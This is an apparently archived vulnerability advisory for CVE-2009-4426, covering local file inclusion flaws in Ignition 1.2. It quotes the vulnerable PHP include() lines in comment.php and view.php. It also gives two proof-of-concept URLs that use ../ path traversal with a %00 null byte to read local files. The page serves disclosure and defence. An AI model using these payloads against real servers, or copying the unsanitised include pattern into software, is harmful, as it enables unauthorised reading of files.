Ignition 1.2 Multiple Local File Inclusion Vulnerabilities

2009.12.30

Credit: cOndemned

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-4426

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
disclosed by cOndemned
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
greetz: all friends, SecurityReason team :)
 
 
comment.php
 
    1.  <?php
    2.  session_start();
    3.  require ('settings.php');
    4.  include ('posts/'.$_GET['blog'].'.txt');            # [1]
    5.  ?>
 
 
view.php
 
    1.  <?php
    2.  session_start();
    3.  require ('settings.php');
    4.  $blog = $_GET['blog'];
    5.  if (file_exists('posts/'.$_GET['blog'].'.txt')) {
    6.  include ('posts/'.$_GET['blog'].'.txt');            # [2]
    7.  }else{
 
 
proof of concept:
 
    [1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
    [2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00

References:

http://xforce.iss.net/xforce/xfdb/54940

http://www.exploit-db.com/exploits/10569

http://secunia.com/advisories/37836

http://packetstormsecurity.org/0912-exploits/ignition-lfi.txt

http://osvdb.org/61226

http://osvdb.org/61225

See this note in RAW Version

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Ignition 1.2 Multiple Local File Inclusion Vulnerabilities

References:

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